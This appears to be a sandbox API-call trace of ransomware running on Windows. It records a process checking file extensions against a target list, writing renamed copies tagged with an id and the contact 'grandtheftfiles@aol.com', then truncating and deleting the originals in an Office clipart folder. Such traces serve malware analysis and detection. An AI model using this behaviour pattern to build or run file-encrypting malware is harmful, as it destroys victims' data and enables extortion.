	[0083.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0083.922] lstrlenW (lpString=".doc") returned 4
	[0083.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.922] lstrlenW (lpString=".docx") returned 5
	[0083.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.922] lstrlenW (lpString=".pdf") returned 4
	[0083.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.922] lstrlenW (lpString=".xls") returned 4
	[0083.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.922] lstrlenW (lpString=".xlsx") returned 5
	[0083.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.922] lstrlenW (lpString=".ppt") returned 4
	[0083.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0083.923] lstrlenW (lpString=".zip") returned 4
	[0083.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.923] lstrlenW (lpString=".rar") returned 4
	[0083.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.923] lstrlenW (lpString=".bz2") returned 4
	[0083.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.923] lstrlenW (lpString=".7z") returned 3
	[0083.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0083.923] lstrlenW (lpString=".dbf") returned 4
	[0083.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0083.923] lstrlenW (lpString=".1cd") returned 4
	[0083.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0083.923] lstrlenW (lpString=".jpg") returned 4
	[0083.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0083.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0083.923] lstrlenW (lpString=".doc") returned 4
	[0083.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.923] lstrlenW (lpString=".docx") returned 5
	[0083.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.923] lstrlenW (lpString=".pdf") returned 4
	[0083.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.923] lstrlenW (lpString=".xls") returned 4
	[0083.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.923] lstrlenW (lpString=".xlsx") returned 5
	[0083.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.923] lstrlenW (lpString=".ppt") returned 4
	[0083.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0083.923] lstrlenW (lpString=".zip") returned 4
	[0083.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.923] lstrlenW (lpString=".rar") returned 4
	[0083.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.924] lstrlenW (lpString=".bz2") returned 4
	[0083.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.924] lstrlenW (lpString=".7z") returned 3
	[0083.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0083.924] lstrlenW (lpString=".dbf") returned 4
	[0083.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0083.924] lstrlenW (lpString=".1cd") returned 4
	[0083.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0083.924] lstrlenW (lpString=".jpg") returned 4
	[0083.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.924] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.924] lstrlenW (lpString="BS00092_.WMF") returned 12
	[0083.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.924] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=7974) returned 1
	[0083.924] CloseHandle (hObject=0x364) returned 1
	[0083.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220
	[0083.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.925] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.925] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.925] GetLastError () returned 0x0
	[0083.925] ReadFile (in: hFile=0x364, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1f26, lpOverlapped=0x0) returned 1
	[0083.927] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1f30, lpOverlapped=0x0) returned 1
	[0083.928] ReadFile (in: hFile=0x364, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.928] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.928] SetEndOfFile (hFile=0x368) returned 1
	[0083.929] CloseHandle (hObject=0x368) returned 1
	[0083.929] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.929] SetEndOfFile (hFile=0x364) returned 1
	[0083.930] CloseHandle (hObject=0x364) returned 1
	[0083.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1
	[0083.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0083.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0083.931] lstrlenW (lpString=".doc") returned 4
	[0083.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.931] lstrlenW (lpString=".docx") returned 5
	[0083.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.931] lstrlenW (lpString=".pdf") returned 4
	[0083.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.931] lstrlenW (lpString=".xls") returned 4
	[0083.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.931] lstrlenW (lpString=".xlsx") returned 5
	[0083.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.931] lstrlenW (lpString=".ppt") returned 4
	[0083.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0083.931] lstrlenW (lpString=".zip") returned 4
	[0083.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.931] lstrlenW (lpString=".rar") returned 4
	[0083.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.931] lstrlenW (lpString=".bz2") returned 4
	[0083.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.931] lstrlenW (lpString=".7z") returned 3
	[0083.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0083.931] lstrlenW (lpString=".dbf") returned 4
	[0083.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0083.932] lstrlenW (lpString=".1cd") returned 4
	[0083.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0083.932] lstrlenW (lpString=".jpg") returned 4
	[0083.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0083.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0083.932] lstrlenW (lpString=".doc") returned 4
	[0083.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.932] lstrlenW (lpString=".docx") returned 5
	[0083.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.932] lstrlenW (lpString=".pdf") returned 4
	[0083.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.932] lstrlenW (lpString=".xls") returned 4
	[0083.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.932] lstrlenW (lpString=".xlsx") returned 5
	[0083.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.932] lstrlenW (lpString=".ppt") returned 4
	[0083.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0083.932] lstrlenW (lpString=".zip") returned 4
	[0083.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.932] lstrlenW (lpString=".rar") returned 4
	[0083.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.932] lstrlenW (lpString=".bz2") returned 4
	[0083.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.932] lstrlenW (lpString=".7z") returned 3
	[0083.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0083.932] lstrlenW (lpString=".dbf") returned 4
	[0083.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0083.932] lstrlenW (lpString=".1cd") returned 4
	[0083.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0083.932] lstrlenW (lpString=".jpg") returned 4
	[0083.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.933] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.933] lstrlenW (lpString="BS00100_.WMF") returned 12
	[0083.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.933] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2378) returned 1
	[0083.933] CloseHandle (hObject=0x364) returned 1
	[0083.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220
	[0083.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0083.933] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.933] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.934] GetLastError () returned 0x0
	[0083.934] ReadFile (in: hFile=0x364, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x94a, lpOverlapped=0x0) returned 1
	[0084.117] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x950, lpOverlapped=0x0) returned 1
	[0084.118] ReadFile (in: hFile=0x364, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.118] WriteFile (in: hFile=0x368, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.119] SetEndOfFile (hFile=0x368) returned 1
	[0084.121] CloseHandle (hObject=0x368) returned 1
	[0084.122] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.122] SetEndOfFile (hFile=0x364) returned 1
	[0084.123] CloseHandle (hObject=0x364) returned 1
	[0084.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1
	[0084.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0084.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0084.726] lstrlenW (lpString=".doc") returned 4
	[0084.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.726] lstrlenW (lpString=".docx") returned 5
	[0084.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.727] lstrlenW (lpString=".pdf") returned 4
	[0084.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.727] lstrlenW (lpString=".xls") returned 4
	[0084.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.727] lstrlenW (lpString=".xlsx") returned 5
	[0084.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.727] lstrlenW (lpString=".ppt") returned 4
	[0084.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0084.727] lstrlenW (lpString=".zip") returned 4
	[0084.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.727] lstrlenW (lpString=".rar") returned 4
	[0084.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.727] lstrlenW (lpString=".bz2") returned 4
	[0084.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.727] lstrlenW (lpString=".7z") returned 3
	[0084.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0084.727] lstrlenW (lpString=".dbf") returned 4
	[0084.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0084.727] lstrlenW (lpString=".1cd") returned 4
	[0084.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0084.727] lstrlenW (lpString=".jpg") returned 4
	[0084.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0084.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0084.727] lstrlenW (lpString=".doc") returned 4
	[0084.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.727] lstrlenW (lpString=".docx") returned 5
	[0084.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.727] lstrlenW (lpString=".pdf") returned 4
	[0084.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.727] lstrlenW (lpString=".xls") returned 4
	[0084.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.728] lstrlenW (lpString=".xlsx") returned 5
	[0084.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.728] lstrlenW (lpString=".ppt") returned 4
	[0084.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0084.728] lstrlenW (lpString=".zip") returned 4
	[0084.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.728] lstrlenW (lpString=".rar") returned 4
	[0084.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.728] lstrlenW (lpString=".bz2") returned 4
	[0084.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.728] lstrlenW (lpString=".7z") returned 3
	[0084.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0084.728] lstrlenW (lpString=".dbf") returned 4
	[0084.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0084.728] lstrlenW (lpString=".1cd") returned 4
	[0084.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0084.728] lstrlenW (lpString=".jpg") returned 4
	[0084.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.728] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.728] lstrlenW (lpString="BS00440_.WMF") returned 12
	[0084.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0084.729] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=5580) returned 1
	[0084.729] CloseHandle (hObject=0x33c) returned 1
	[0084.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220
	[0084.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0084.729] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.729] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0084.729] GetLastError () returned 0x0
	[0084.729] ReadFile (in: hFile=0x33c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x15cc, lpOverlapped=0x0) returned 1
	[0084.739] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x15d0, lpOverlapped=0x0) returned 1
	[0084.740] ReadFile (in: hFile=0x33c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.740] WriteFile (in: hFile=0x388, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.741] SetEndOfFile (hFile=0x388) returned 1
	[0084.741] CloseHandle (hObject=0x388) returned 1
	[0084.742] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.742] SetEndOfFile (hFile=0x33c) returned 1
	[0084.742] CloseHandle (hObject=0x33c) returned 1
	[0084.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
